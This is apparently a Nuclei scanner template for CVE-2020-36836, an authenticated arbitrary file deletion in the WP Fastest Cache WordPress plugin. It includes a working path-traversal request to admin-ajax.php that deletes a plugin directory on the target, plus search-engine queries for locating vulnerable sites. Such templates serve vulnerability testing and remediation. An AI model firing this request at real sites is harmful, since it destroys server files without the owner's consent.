CVE-2020-36836: WordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion

id: CVE-2020-36836

info:
  name: WordPress WP Fastest Cache <= 0.9.0.2 - Authenticated Arbitrary File Deletion
  author: melmathari
  severity: high
  description: |
    The WP Fastest Cache plugin for WordPress is vulnerable to unauthorized arbitrary file deletion in versions up to, and including, 0.9.0.2 due to a lack of capability checking and insufficient path validation. This makes it possible for authenticated users with minimal permissions to delete arbitrary files from the server.
  remediation: |
    Update WP Fastest Cache to version 0.9.0.3 or later to mitigate this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/ed6e699a-775e-4c59-a266-874eab5fa3a6
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36836
    - https://plugins.trac.wordpress.org/changeset/2342347/wp-fastest-cache
    - https://wearetradecraft.com/advisories/tc-2020-0001/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2020-36836
    cwe-id: CWE-862
    epss-score: 0.22119
    epss-percentile: 0.95553
    cpe: cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: wpfastestcache
    product: wp_fastest_cache
    framework: wordpress
    shodan-query: "http.html:/wp-content/plugins/wp-fastest-cache/"
    fofa-query: "body=/wp-content/plugins/wp-fastest-cache/"
    publicwww-query: "/wp-content/plugins/wp-fastest-cache/"
  tags: cve,cve2020,wordpress,wp-plugin,wp-fastest-cache,auth,intrusive,wpfastestcache,vkev,vuln

variables:
  target_path: "languages"

flow: http(1) && http(2) && http(3) && http(4)

http:

  - raw:
      - |
        GET /wp-content/plugins/wp-fastest-cache/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302 || status_code == 200'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?path=/../../../wp-content/plugins/wp-fastest-cache/{{target_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpfc_delete_current_page_cache

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'The cache of page has been cleared', 'success')"
          - "status_code == 200"
        condition: and

  - raw:
      - |
        GET /wp-content/plugins/wp-fastest-cache/{{target_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - "status_code == 404"
        internal: true
# digest: 4a0a0047304502205189a8a85ad36c7a47505740c7ab58ad5f3d32e64a92ec39ef744e35d0519a72022100ad15d14c00d3502fb2d73c11d3bfc32de63c310bf78416e73f7128dcf6496008:922c64590222798bb761d5b6d8e72950